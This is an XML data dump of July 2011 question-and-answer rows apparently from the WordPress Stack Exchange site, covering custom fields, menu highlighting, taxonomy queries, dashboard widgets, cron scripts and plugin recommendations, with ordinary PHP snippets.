  <row Id="23967" PostTypeId="2" ParentId="23927" CreationDate="2011-07-25T06:55:28.523" Score="0" ViewCount="" Body="&lt;p&gt;take a look at this tutorial i posted a while back with example of adding extra fields and how to use there value in a template file titled:  &lt;a href=&quot;http://en.bainternet.info/2011/wordpress-category-extra-fields&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to WordPress category custom fields&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T06:55:28.523" />
  <row Id="23968" PostTypeId="2" ParentId="23942" CreationDate="2011-07-25T07:00:04.867" Score="0" ViewCount="" Body="&lt;p&gt;you can achieve this very easily with simple using my plugin &lt;a href=&quot;http://en.bainternet.info/2011/user-specific-content-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Specific Content&lt;/strong&gt;&lt;/a&gt; which lets you display specific content per user name, user id or by user role.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T07:00:04.867" />
  <row Id="23969" PostTypeId="2" ParentId="23959" CreationDate="2011-07-25T07:12:11.073" Score="0" ViewCount="" Body="&lt;p&gt;This may help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kimwoodbridge.com/how-to-exclude-a-category-from-the-sidebar-list-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.kimwoodbridge.com/how-to-exclude-a-category-from-the-sidebar-list-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-25T07:12:11.073" CommentCount="1" />
  <row Id="23970" PostTypeId="2" ParentId="23944" CreationDate="2011-07-25T07:26:33.390" Score="0" ViewCount="" Body="&lt;p&gt;May be you have to write code in plugin file and run...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use get_posts to get posts for your custom post type and then loop it. Inside loop use &#xA;wp_update_post function to update post_date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is reference for wp_update_post&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_update_post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $my_post = array();&#xA;  $my_post['ID'] = 37;&#xA;  $my_post['post_date'] = your updated date&#xA;&#xA;// Update the post into the database&#xA;  wp_update_post( $my_post );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-25T07:26:33.390" />
  <row Id="23971" PostTypeId="1" CreationDate="2011-07-25T07:49:12.827" Score="0" ViewCount="35" Body="&lt;p&gt;I have a WordPress problem that I am completely baffled with. I have built a website for my wife's business using Serif WebPlus x 5 (I know! - don't shout at me, I'm a newbie and didn't know about WordPress then). When I did hear about WordPress I installed it and everything went relatively smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I now click on the blog link on my site &lt;a href=&quot;http://valuevisionglasses.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://valuevisionglasses.co.uk&lt;/a&gt; it just flickers (as if it's re-directing, but going nowhere). This happened last Friday and as I have said I'm baffled by this. I haven't made any changes to the site using Serif and apart from another blog post - no changes either with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do (thank heaven) have a daily backup using EZPZ backup so if I have to go down that route then I have regular backups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be ever so grateful if anyone could point me in the right direction to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="7301" LastActivityDate="2011-08-26T05:34:56.310" Title="I can't get to my WordPress blog - it seems to be re-directing?" Tags="&lt;admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23972" PostTypeId="1" CreationDate="2011-07-25T08:19:08.020" Score="0" ViewCount="48" Body="&lt;p&gt;on my &quot;Work&quot; template used for the custom post type with the same name, I have the following code showing a list of titles for every &quot;work&quot;. What I want to do is to display &#xA;just on that list the &quot;Works&quot; that have the same Custom taxonomy than the current one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'work', 'posts_per_page' =&amp;gt; 10, 'orderby' =&amp;gt; asc ); while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;&#xA;   &#xA;&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="7302" LastActivityDate="2011-07-27T05:45:18.373" Title="Related &quot;custom post type&quot; using &quot;custom taxonomy&quot;" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="23973" PostTypeId="2" ParentId="23944" CreationDate="2011-07-25T08:37:46.170" Score="0" ViewCount="" Body="&lt;p&gt;have you considered doint it in the database (for example using phpmyadmin)?&lt;/p&gt;&#xA;" OwnerUserId="4544" LastActivityDate="2011-07-25T08:37:46.170" CommentCount="1" />
  <row Id="23974" PostTypeId="1" CreationDate="2011-07-25T09:25:20.900" Score="-1" ViewCount="27" Body="&lt;pre&gt;&lt;code&gt;==================================&#xA;Home Contact About&#xA;==================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, The menu should looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;==================================&#xA;Home Contact About&#xA;     -------&#xA;==================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when the URL is &lt;a href=&quot;http://loaclhost/contact/XXXXXXXX&quot; rel=&quot;nofollow&quot;&gt;http://loaclhost/contact/XXXXXXXX&lt;/a&gt;, the same as other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this? It seems can use &lt;code&gt;nav_menu_css_class&lt;/code&gt; by add_filter, but the key is how to judgment the current menu is contact (or other)?&lt;/p&gt;&#xA;" OwnerUserId="7303" LastActivityDate="2011-07-25T09:37:51.377" Title="How to highlight current menu bar base on the URL?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;&lt;css&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="23975" PostTypeId="1" AcceptedAnswerId="23991" CreationDate="2011-07-25T09:34:54.280" Score="-3" ViewCount="51" Body="&lt;p&gt;I'm in need of good wordpress premium CMS theme.&#xA;The theme should have the following features built in.&#xA;1) User registration&#xA;2) Facebook, twitter connect (optional)&#xA;3) Article posting&#xA;4) User dashboard&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest me a good premium theme. Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-25T12:19:55.667" Title="Suggest me a good wordpress cms premium theme" Tags="&lt;themes&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23976" PostTypeId="2" ParentId="23974" CreationDate="2011-07-25T09:37:51.377" Score="0" ViewCount="" Body="&lt;p&gt;If you're using WordPress custom menus ( and you should when you're dealing with menus ), it adds class &lt;code&gt;current-menu-item&lt;/code&gt; for page that is currently being viewed. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-07-25T09:37:51.377" CommentCount="1" />
  <row Id="23977" PostTypeId="1" CreationDate="2011-07-25T09:48:20.717" Score="0" ViewCount="54" Body="&lt;p&gt;I want to create a software reviews site based on categories.&#xA;I really like what Gizmo did (see link below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.techsupportalert.com/best-free-pc-tune-up-utility.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.techsupportalert.com/best-free-pc-tune-up-utility.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is an Intro text followed by top 3 softwares (more or less) with pros/ cons/ rating fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried many plugins but all of them I should pre define all my fields , In other words , If I want to put 2 programs with predefined fields , I should have only created fields for only these 2 apps but what If I want to create 3 or more apps ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I want exactly is a plugin which I can create with it a group of fields , when I press a (+plus) button or something In my Editor , it shows the fields , and when I press it again , it shows the same type of fields again (duplication). I hope Any one could understand me because I'm not that good in English. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I found what I was looking for :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Magic fields !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I tried it before and I did know it can duplicate single fields , but I just realized it can create groups which can be dublicated just as I want :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this plug in is even more than I wanted, Thanks every one.&lt;/p&gt;&#xA;" OwnerUserId="7305" LastEditorUserId="7305" LastEditorDisplayName="" LastEditDate="2011-07-25T16:58:58.167" LastActivityDate="2011-08-24T23:34:22.157" Title="A plugin for software reviews site like this one?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;review&gt;" AnswerCount="1" />
  <row Id="23978" PostTypeId="1" AcceptedAnswerId="23979" CreationDate="2011-07-25T09:53:03.227" Score="0" ViewCount="36" Body="&lt;p&gt;my question is...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have 2 pages &amp;amp; 2 subpages in each page.&#xA;like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt;subpage1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt;subpage2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt;subpage1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&gt;subpage2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;amp; my Menu is       &lt;strong&gt;Page1   page2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if i select subpage1(from page1) means the page1 need to active and highlight the menu.&#xA;if i select subpage1(from page2) means it need to highlight page2 and page2 menu in active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how to do this?&#xA;please help me to get rid of this problem.i need to implement in my wordpress website.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-25T10:06:58.383" Title="Active Menu Highlighter with Subpages?" Tags="&lt;menus&gt;&lt;header&gt;&lt;child-pages&gt;" AnswerCount="2" />
  <row Id="23979" PostTypeId="2" ParentId="23978" CreationDate="2011-07-25T10:04:36.247" Score="3" ViewCount="" Body="&lt;p&gt;To highlight page 1 and page 2 use &lt;code&gt;current-menu-parent&lt;/code&gt; class&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-07-25T10:04:36.247" />
  <row Id="23980" PostTypeId="1" CreationDate="2011-07-25T10:05:12.330" Score="2" ViewCount="37" Body="&lt;p&gt;can i copy the role of administrator to another user and remove few capabilities not required ?. Basically, i want to have a user with restricted admin privileges.&lt;/p&gt;&#xA;" OwnerUserId="6670" LastActivityDate="2011-07-25T18:22:29.093" Title="Can i copy administrator role to another user?" Tags="&lt;roles&gt;" AnswerCount="2" />
  <row Id="23981" PostTypeId="2" ParentId="23978" CreationDate="2011-07-25T10:06:58.383" Score="1" ViewCount="" Body="&lt;p&gt;It'll be done with CSS and an active class. Check the coding on the front end to see what wordpress has added for active page. On one setup we have the class &lt;strong&gt;menu-item&lt;/strong&gt; and &lt;strong&gt;current_page_item&lt;/strong&gt; is added so you could style those.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-25T10:06:58.383" />
  <row Id="23982" PostTypeId="2" ParentId="23977" CreationDate="2011-07-25T10:12:52.343" Score="0" ViewCount="" Body="&lt;p&gt;Its the second time i find myself recommending this plugin today, &lt;a href=&quot;http://wordpress.org/extend/plugins/projectmanager/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ProjectManager&lt;/strong&gt;&lt;/a&gt;&#xA;is a plugin that will answer most of your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://randyhoyt.com/wordpress/snippets/&quot; rel=&quot;nofollow&quot;&gt;here is a screencast of how to use it&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T10:12:52.343" CommentCount="8" />
  <row Id="23984" PostTypeId="2" ParentId="23956" CreationDate="2011-07-25T10:27:23.483" Score="0" ViewCount="" Body="&lt;p&gt;Whenever i find myself not sure what kind of data is returned by a function i use my simple ready made &lt;code&gt;var_dump_pre()&lt;/code&gt; function which i use heavily in developments, simply paste it in your theme's functions.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function var_dump_pre($obj){&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;    var_dump($obj);&#xA;    echo &amp;lt;'/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;say i want to see what &lt;code&gt;wp_get_nav_menu_items&lt;/code&gt; actually returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu_items = wp_get_nav_menu_items($menu-&amp;gt;term_id); &#xA;var_dump_pre($menu_items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T10:27:23.483" />
  <row Id="23985" PostTypeId="2" ParentId="23972" CreationDate="2011-07-25T10:31:36.633" Score="1" ViewCount="" Body="&lt;p&gt;Assuming that you are on a taxonomy or term page then you can simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get current term&#xA;$term_slug = get_query_var( 'term' );&#xA;//get current taxonomy&#xA;$taxonomyName = get_query_var( 'taxonomy' );&#xA;$loop = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'work', &#xA;    'posts_per_page' =&amp;gt; 10, &#xA;    'orderby' =&amp;gt; 'ASC',&#xA;    $taxonomyName =&amp;gt; $term_slug); &#xA;while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T10:31:36.633" CommentCount="1" />
  <row Id="23986" PostTypeId="1" CreationDate="2011-07-25T10:39:12.283" Score="0" ViewCount="17" Body="&lt;p&gt;I have a homesite and a second site. They are displayed to normal browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to show IOS and mobile devices the second site as homesite and hide the normal homesite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joerg&lt;/p&gt;&#xA;" OwnerUserId="6605" LastActivityDate="2011-08-24T19:34:19.367" Title="different startsite for IOS and change menu" Tags="&lt;mobile&gt;&lt;iphone&gt;&lt;home&gt;" AnswerCount="1" />
  <row Id="23987" PostTypeId="2" ParentId="23986" CreationDate="2011-07-25T10:54:21.230" Score="0" ViewCount="" Body="&lt;p&gt;If the url's for both site is different, You can simply check if site is being viewed from mobile or not and than you can redirect to your second site if it is mobile...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is one of code who detects whether it is mobile or not...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://detectmobilebrowsers.mobi/&quot; rel=&quot;nofollow&quot;&gt;http://detectmobilebrowsers.mobi/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use such code detect mobile browser agent and put it on first site and if mobile is detected redirect them to second site..&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-25T10:54:21.230" />
  <row Id="23988" PostTypeId="1" CreationDate="2011-07-25T11:14:52.393" Score="0" ViewCount="40" Body="&lt;p&gt;I am adding dashboard widget feature to my theme using &lt;strong&gt;wp_add_dashboard_widget&lt;/strong&gt; function.my problem is while i submitting form it takes me to another submit button submit.I want to update my form data in one submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form name=&quot;kosher_frm&quot; id=&quot;kosher_frm&quot; method=&quot;post&quot; action=&quot;'.get_admin_url().'?edit=kosher_dashboard_menu#kosher_dashboard_menu&quot;&amp;gt; &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My dashboard setup function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  wp_add_dashboard_widget( 'kosher_dashboard_menu', __( 'Managing Vendors' ),  'kosher_dashboard_menu','kosher_dashboard_menu_function');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while i am submitting form it sends my data to the callback function &lt;code&gt;kosher_dashboard_menu_function&lt;/code&gt;. But once again i am getting submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots of my dashboard widget&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.diigo.com/item/image/19c1l/7w63&quot; rel=&quot;nofollow&quot;&gt;my dashboard widget&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.diigo.com/item/image/19c1l/hnwo&quot; rel=&quot;nofollow&quot;&gt;After submitting form&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to remove &quot;configure&quot; link from widget title bar. mentioned in screenshot 1.&#xA;How can submit this form using ajax. any links will help me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of your help highly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-07-25T14:50:20.177" LastActivityDate="2011-07-25T14:50:20.177" Title="dashboard widget form submitting problem" Tags="&lt;theme-development&gt;&lt;widgets&gt;&lt;form&gt;&lt;dashboard&gt;" />
  <row Id="23989" PostTypeId="2" ParentId="23980" CreationDate="2011-07-25T12:13:52.317" Score="1" ViewCount="" Body="&lt;p&gt;Give this plugin a try - &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/user-role-editor/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-25T12:13:52.317" />
  <row Id="23990" PostTypeId="1" AcceptedAnswerId="23993" CreationDate="2011-07-25T12:16:54.647" Score="0" ViewCount="46" Body="&lt;p&gt;I have to run a PHP script through real cron (WP cron being too unreliable). Within that script, I need $wpdb to insert data into WordPress table. But of course $wpdb will not be available as WordPress would not be initialized. Right? So, my question is how to 'include' WordPress/initialize WordPress environment to do such tasks? How about&#xA;    require_once(&quot;wp-load.php&quot;)?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-25T12:23:37.970" Title="Initialize WordPress environment to use in a real cron script" Tags="&lt;php&gt;&lt;cron&gt;&lt;wp-cron&gt;&lt;wp-load.php&gt;&lt;command-line&gt;" AnswerCount="1" />
  <row Id="23991" PostTypeId="2" ParentId="23975" CreationDate="2011-07-25T12:19:55.667" Score="1" ViewCount="" Body="&lt;p&gt;Have a look at this post - &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22688/where-can-i-sell-wordpress-themes-and-plugins&quot;&gt;Where can I sell WordPress themes and plugins?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find a link there that will be able to point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-07-25T12:19:55.667" CommentCount="1" />
  <row Id="23992" PostTypeId="2" ParentId="23571" CreationDate="2011-07-25T12:22:00.920" Score="0" ViewCount="" Body="&lt;p&gt;I accepted One Trick Pony's answer because it got me on the right track and it does answer my question.&#xA;However, in the end I am using this, it returns full term object with it's taxonomy fields. Though it's a bit hacky...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get ther without khowing it's taxonomy. Not very nice, though.&#xA; * &#xA; * @uses type $wpdb&#xA; * @uses get_term()&#xA; * @param int|object $term&#xA; * @param string $output&#xA; * @param string $filter&#xA; */&#xA;function &amp;amp;get_term_by_id($term, $output = OBJECT, $filter = 'raw') {&#xA;    global $wpdb;&#xA;    $null = null;&#xA;&#xA;    if ( empty($term) ) {&#xA;        $error = new WP_Error('invalid_term', __('Empty Term'));&#xA;        return $error;&#xA;    }&#xA;&#xA;    $_tax = $wpdb-&amp;gt;get_row( $wpdb-&amp;gt;prepare( &quot;SELECT t.* FROM $wpdb-&amp;gt;term_taxonomy AS t WHERE t.term_id = %s LIMIT 1&quot;, $term) );&#xA;    $taxonomy = $_tax-&amp;gt;taxonomy;&#xA;&#xA;    return get_term($term, $taxonomy, $output, $filter);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5902" LastActivityDate="2011-07-25T12:22:00.920" />
  <row Id="23993" PostTypeId="2" ParentId="23990" CreationDate="2011-07-25T12:23:37.970" Score="1" ViewCount="" Body="&lt;p&gt;You can use real cron to trigger WP cron - by fetching &lt;code&gt;wp-cron.php&lt;/code&gt; file from root (&lt;a href=&quot;http://bitswapping.com/2010/10/using-cron-to-trigger-wp-cron-php/&quot; rel=&quot;nofollow&quot;&gt;snippet from quick google search&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will take care of environment and everything.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-25T12:23:37.970" CommentCount="2" />
  <row Id="23994" PostTypeId="2" ParentId="23802" CreationDate="2011-07-25T12:49:28.113" Score="2" ViewCount="" Body="&lt;p&gt;So it looks like I found one. &lt;a href=&quot;http://wordpress.org/extend/plugins/sb-uploader/&quot; rel=&quot;nofollow&quot;&gt;SB Uploader&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I need to figure out how to use it in my theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The get_post_meta is a little fuzzy to me&lt;/p&gt;&#xA;" OwnerUserId="7257" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-13T01:23:24.517" LastActivityDate="2011-08-13T01:23:24.517" />
  <row Id="23995" PostTypeId="1" AcceptedAnswerId="23999" CreationDate="2011-07-25T13:44:24.297" Score="1" ViewCount="60" Body="&lt;p&gt;I have custom post type 'Product', &#xA;and 2 custom taxonomies 'category' and 'product status'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am trying to do is list categories in page template and show how many total products in category and how many of them have status 'available'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some thing like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category  |  No. of products | Products available&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one show how to get posts that are in particular category and have particular status value from other taxonomy...&lt;/p&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-25T15:08:40.127" Title="query multiple taxonomy and show post count" Tags="&lt;query&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="1" />
  <row Id="23996" PostTypeId="1" CreationDate="2011-07-25T14:35:50.370" Score="1" ViewCount="77" Body="&lt;p&gt;I'm finding the media section of WordPress a bit hard to manage with it's paginated pages. Is there any plugin that helps display all the files differently? Like more images on one page and perhaps folders etc?&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2011-07-25T15:57:34.030" Title="Best plugin to manage media library?" Tags="&lt;media&gt;&lt;media-library&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23997" PostTypeId="1" CreationDate="2011-07-25T14:44:16.310" Score="0" ViewCount="23" Body="&lt;p&gt;I have a custom field in my post called fb_name. I need to be able to get that field name outside of the loop in my sidebar. How can I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="7311" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-26T12:59:33.297" LastActivityDate="2011-07-26T12:59:33.297" Title="custom filed from post in the side bar" Tags="&lt;custom-field&gt;&lt;sidebar&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="23998" PostTypeId="2" ParentId="23997" CreationDate="2011-07-25T14:59:48.133" Score="1" ViewCount="" Body="&lt;p&gt;If it's a single post or page, you can just pass the global $post-&gt;ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_post_meta($post-&amp;gt;ID, 'fb_name', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-25T14:59:48.133" />
  <row Id="23999" PostTypeId="2" ParentId="23995" CreationDate="2011-07-25T15:08:40.127" Score="1" ViewCount="" Body="&lt;p&gt;I'm sure that a custom sql query would work much better but here is an option using the WordPress Tools available&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first get all categories&#xA;$categories = get_terms( 'category', array(&#xA;    'orderby'    =&amp;gt; 'count',&#xA;));&#xA;&#xA;//then create an array for easier processing&#xA;foreach ( $categories as $cat ) {&#xA;       $slugs[] = $cat-&amp;gt;slug;&#xA;       $counts[$cat-&amp;gt;slug]['count'] = $cat-&amp;gt;count;&#xA;}&#xA;&#xA;//then loop over the categories and for each one create a &quot;query&quot; to count the number of available products&#xA;foreach($slugs as $term){&#xA;    $products = get_posts(array(&#xA;        'post_type' =&amp;gt; 'product',&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;        'tax_query' =&amp;gt; array(&#xA;            'relation' =&amp;gt; 'AND',&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'category',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( $term)&#xA;            ),&#xA;            array(&#xA;                'taxonomy' =&amp;gt; 'product_status',&#xA;                'field' =&amp;gt; 'slug',&#xA;                'terms' =&amp;gt; array( &quot;available&quot;),&#xA;                'operator' =&amp;gt; 'NOT IN',&#xA;            )&#xA;        )   &#xA;    ));&#xA;    $counts[$term]['available'] = count($products);&#xA;}&#xA;&#xA;//then all the is left is to print everyting Out&#xA;if (count($counts) &amp;gt; 0){&#xA;    echo '&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Category&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;No. of products&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Products available&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;    foreach ($counts as $key =&amp;gt; $val){&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;'.$key.'&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$var['count'].'&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$var['available'].'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-25T15:08:40.127" CommentCount="1" />
  <row Id="24000" PostTypeId="1" CreationDate="2011-07-25T15:14:21.257" Score="0" ViewCount="34" Body="&lt;p&gt;Simple enough question, but one which is proving difficult to find a solution to.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick preamble - the situation this is addressing is a MU network using sitewide tags plugin which pulls all network posts to the main site's home page, then timthumb is used to scale the images of each post which are retrieved using a custom get_first_image function.  The usual problem occurs whereby the image retrieved by the get function has a relative path rather than the absolute URL needed by timthumb, hence I run it through a filter to reconstruct the absolute URL.  All works fine except blog_id always equals '1' for every post.  This is clearly because the blog_id on which the function runs upon (i.e. the main parent blog) is '1' and therefore I need to determine the blog_id for the original post and use this when reconstructing the absolute URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the wordpress function, &lt;code&gt;get_blog_id_from_url&lt;/code&gt; but there's very little guidance or examples on its use.  I have also tried variations of &lt;code&gt;$current_site-&amp;gt;blog_id&lt;/code&gt; and &lt;code&gt;$GLOBALS['current_site']-&amp;gt;blog_id&lt;/code&gt;, but I have been so far unable to return any blog_id value except 1.&lt;/p&gt;&#xA;" OwnerUserId="7312" LastActivityDate="2011-07-25T15:14:21.257" Title="How to get blog_id of an MU site when running a custom function on the parent site" Tags="&lt;multisite&gt;&lt;timthumb&gt;&lt;blog-id&gt;" CommentCount="2" />
